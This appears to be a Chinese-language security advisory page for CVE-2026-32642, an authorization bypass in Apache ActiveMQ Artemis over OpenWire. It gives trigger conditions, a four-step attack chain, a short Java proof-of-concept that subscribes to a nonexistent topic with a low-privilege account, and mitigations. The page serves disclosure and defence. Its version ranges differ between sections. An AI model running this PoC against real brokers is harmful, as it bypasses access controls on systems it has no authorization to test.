IPBUF安全漏洞报告
English
CVE-2026-32642 CVSS 4.3 中危

CVE-2026-32642 Apache Artemis权限绕过漏洞

披露日期: 2026-03-24

漏洞信息

漏洞编号
CVE-2026-32642
漏洞类型
权限绕过
CVSS评分
4.3 中危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
Apache Artemis, Apache ActiveMQ Artemis

相关标签

权限绕过CWE-863Apache ActiveMQApache ArtemisOpenWire

漏洞概述

Apache Artemis及ActiveMQ Artemis存在授权不当漏洞。当应用使用OpenWire协议尝试在不存在的地址上创建非持久JMS主题订阅时,若认证用户仅有“createDurableQueue”权限而无“createAddress”权限,且禁用了地址自动创建,系统本应拒绝操作,却错误地创建了临时地址。该问题影响2.0.0至2.44.0及2.50.0至2.52.0版本。

技术细节

该漏洞属于CWE-863不正确的授权。漏洞核心在于Apache Artemis对OpenWire协议请求的权限校验逻辑缺陷。触发需满足特定条件:1. 使用OpenWire协议;2. 目标地址不存在;3. 服务器配置禁用了地址自动创建(address auto-creation is disabled);4. 攻击者拥有“createDurableQueue”权限但缺少“createAddress”权限。在此配置下,系统错误地认为创建非持久订阅允许临时创建地址,从而绕过了对“createAddress”权限的严格检查。这导致低权限用户可创建临时地址资源,连接关闭后地址才被移除。虽然影响有限(完整性低),但违反了最小权限原则。

攻击链分析

STEP 1
1. 信息收集与权限获取
攻击者获取Apache Artemis服务器的一个低权限账户,该账户被错误地授予了createDurableQueue权限,但未授予createAddress权限。
STEP 2
2. 环境探测
确认目标服务器禁用了地址自动创建功能,并确定一个不存在的目标地址。
STEP 3
3. 发起恶意请求
利用OpenWire协议连接服务器,并尝试在该不存在的地址上创建非持久JMS主题订阅。
STEP 4
4. 权限绕过与资源创建
由于漏洞存在,服务器忽略了createAddress权限的检查,成功为用户创建了临时地址,实现了权限绕过。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import org.apache.activemq.ActiveMQConnectionFactory; import javax.jms.*; // PoC for CVE-2026-32642 // Description: Attempts to create a non-durable subscription on a non-existent address // with insufficient permissions (createDurableQueue only). public class CVE202632642_PoC { public static void main(String[] args) { String brokerUrl = "tcp://localhost:61616"; String username = "user_with_createDurableQueue_only"; String password = "password"; String topicName = "nonexistent.topic.address"; try { ConnectionFactory connectionFactory = new ActiveMQConnectionFactory(brokerUrl); Connection connection = connectionFactory.createConnection(username, password); Session session = connection.createSession(false, Session.AUTO_ACKNOWLEDGE); Topic topic = session.createTopic(topicName); // Attempt to create a non-durable subscriber // Vulnerability: Server creates a temporary address even if 'createAddress' is missing MessageConsumer consumer = session.createConsumer(topic); System.out.println("[+] Subscription request sent. Check if temporary address was created on server."); connection.close(); } catch (JMSException e) { e.printStackTrace(); } } }

影响范围

Apache ActiveMQ Artemis < 2.44.0
Apache Artemis < 2.52.0

防御指南

临时缓解措施
在无法立即升级的情况下,应严格审查并限制用户权限,避免授予不必要的createDurableQueue权限;通过防火墙限制OpenWire端口(默认61616)的访问;监控服务器日志中异常的临时地址创建记录。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表